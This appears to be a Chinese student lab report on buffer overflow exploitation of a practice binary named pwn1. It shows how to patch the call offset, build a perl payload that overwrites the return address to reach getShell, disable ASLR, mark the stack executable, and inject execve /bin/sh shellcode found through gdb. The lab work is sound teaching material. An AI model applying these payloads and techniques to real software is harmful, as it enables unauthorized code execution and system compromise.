1. 程式人生 > 其它 >20212813 2021-2022-2 《網路攻防實踐》實踐九報告

20212813 2021-2022-2 《網路攻防實踐》實踐九報告

一、實踐內容

1、實踐目標

本次實踐的物件是一個名為pwn1的linux可執行檔案。
該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。
該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。我們實踐的目標就是想辦法執行這個程式碼片段。我們將學習兩種方法執行這個程式碼片段,然後學習如何注入執行任何Shellcode。
三個實踐內容如下:

(1)手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
(2)利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
(3)注入一個自己製作的shellcode並執行這段shellcode。

2、實驗要求

(1)掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼
(2)掌握反彙編與十六進位制程式設計器
(3)能正確修改機器指令改變程式執行流程
(4)能正確構造payload進行bof攻擊 

3、相關知識

緩衝區,又稱中立區。這個區域一般指兩地交界處,因為一些原因所不得不劃分出的區域。這個地帶,並不屬於兩方獨有,通常是由雙方或者第三方共同管理。緩衝區溢位就是把一個超過緩衝區長度的字串置入緩衝區的結果,通常都是由於程式設計語言的一些漏洞造成的。程式設計師忽略對邊界進行檢查而向一個有限空間的緩衝區置入過長的字串會帶來以下後果:

  • 一種是過長的字串覆蓋了相鄰的儲存單元,引起程式執行失敗,有時候甚至導致系統崩潰;
  • 還有一種後果是利用這種漏洞執行任意命令,甚至取得系統特權,從而攻擊系統。

造成該漏洞的原因有:

  • 指標和陣列越界不保護是緩衝區溢位的根源
  • 在C語言標準庫中有許多會造成溢位的函式

防範方法:

  • 正確地編寫程式碼
  • 使緩衝區成為非執行的緩衝區
  • 利用編譯器的邊界檢查來實現緩衝區的保護
  • 程式指標完整性檢查

二、實踐過程

1、手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式

在kali下使用objdump -d pwn1 | more對pwn1檔案進行反彙編:

找到main函式和getshell函式(按Esc後輸入/getShell進行搜尋),可以看到在main函式中按照正常的執行順序,執行到call處,EIP應該會指向0x08048ba + 0xffffffd7 = 0x08048491即foo函式的入口地址,所以我們需要修改該偏移量(0xffffffd7)使執行call後EIP指向0x080487d,即getShell函式入口,因此需要將0xffffffd7改為0xffffffc3(0x0804847d - 0x080484ba = 0xffffffc3):

將pwn1備份為pwn2,使用vim開啟pwn2檔案,看到的是亂碼,結果如下圖所示:

將亂碼轉化為16進位制(按下Esc後輸入:%!xxd

),並尋找所有的d7:



如下圖所示,這個d7即我們需要修改的地址偏移量,所以將這個d7修改為c3(按下r進行替換),並對pwn2檔案再次反彙編,檢視修改後的結果是否正確:



執行pwn1和pwn2檔案,可以看到pwn2執行後獲得shell,結果如下所示:

2、利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式

使用objdump -d pwn1 | more將pwn1反彙編後檢視foo函式,該函式的功能是呼叫gets讀進使用者輸入的字串然後用puts函式將字串輸出,但是該函式並沒有檢查使用者輸入,所以存在BOF漏洞。
觀察反彙編出的彙編程式碼得知預留的區域性變數的空間為0x38,而gets函式將讀取到的字串存放到0x1c(28個位元組)處,根據堆疊結構,當輸入字串長度達到36時,第33~36個位元組將會覆蓋到EIP中:

使用gdb對pwn1進行除錯,當輸入長度為40的字串“aaaaaaaabbbbbbbbccccccccddddddddeeeeeee”後出現段錯誤,檢視各暫存器狀態可以發現當前EIP暫存器的內容為0x65656565(“e”的ASCLL碼的十六進位制為65),因此可以說明當輸入字串過長時,第33~36個位元組將會覆蓋EIP的內容。

通過以上分析,只要將輸入字串的第33~36位設定為getShell函式的入口地址,便可以在foo函式返回直接跳轉到getShell函式並執行。使用命令perl -e 'print "zzzzzzzzxxxxxxxxzzzzzzzzxxxxxxxx\x7d\x84\x04\x08\x0a"' > input生成十六進位制字串檔案“input”,然後用(cat input; cat) | ./pwn1命令將input作為pwn1的輸入,獲得shell:

3、注入一個自己製作的shellcode並執行這段shellcode

首先使用execstack等命令設定堆疊可執行並關閉地址隨機化:

命令 作用
execstack -s pwn1 將堆疊設為可執行狀態
execstack -q pwn1 檢視檔案pwn1的堆疊是否是可執行狀態
more /proc/sys/kernel/randomize_va_space 檢視地址隨機化的狀態
echo "0"> /proc/sys/kernel/randomize_va_space 關閉地址隨機化

其中需要注意的是,執行echo "0"> /proc/sys/kernel/randomize_va_space命令時需要root許可權,這裡需要提權(sudo su):

構造要注入的shellcode,採用的構造方法是retaddr+nop+shellcode,即將shellode放到緩衝區後邊的位置,使用的shellcode為\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
首先要確定retaddr的值,使用perl構造十六進位制的37個位元組的輸入串perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode(這裡的37個位元組僅僅是為了獲得retaddr),其中第33~36個位元組即\x4\x3\x2\x1將覆蓋到堆疊上的返回地址的位置,將這段字元作為pwn1的輸入執行pwn1:

使用ps -ef | grep pwn1找到對應的程序號為44998:

根據pwn1的程序號使用gdb對其進行除錯(attach 44998),通過設定斷點,來檢視注入字串的記憶體地址。先用 disassemble foo 對foo函式進行反彙編,斷點應該放到ret之前(因為返回的話就會執行POP EIP),把之前的\x4\x3\x2\x1 填入EIP中會發生段錯誤。然後用 break *0x080484ae 來設定斷點。設定斷點後繼續執行,這裡可能需要返回程式執行介面輸入一個回車才能往下執行,程式在foo返回前停止,此時檢視當前暫存器ESP的值(存放返回地址的位置/棧頂位置),根據ESP的值檢視當前棧頂的值為0x01020304,所以確定retaddr的值應該為0xffffd16c+0x00000004=0xffffd170

構造shellcode:32個A+retaddr+nop+shellcode,\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\0x00,如圖所示,將其作為pwn1的輸入,執行pwn1,得到shell:

三、學習中遇到的問題及解決

  • 問題1:Kali2022中沒有安裝execstack命令,且使用sudo apt-get install execstack/sudo apt-get install prelink安裝不了,顯示定位不到軟體包。

  • 問題1解決方案:參考了這兩篇部落格:更換源安裝包之後便能夠定位到軟體包並進行安裝。也可以使用Ubuntu或者更低版本的Kali試試。

  • 問題2:執行more /proc/sys/kernel/randomize_va_space顯示permission denied

  • 問題2解決方案:
    需要提權後才能執行:

  • 問題3:實驗三中設定斷點後繼續執行沒有反應,停留在如下介面:

  • 問題3解決方案:需要返回程式執行介面輸入一個回車:

四、實踐總結

本次實踐動手實現了對BOF漏洞的攻擊,回顧了之前學習過的彙編、堆疊等知識,也對BOF漏洞、shellcode等原理有了進一步認識。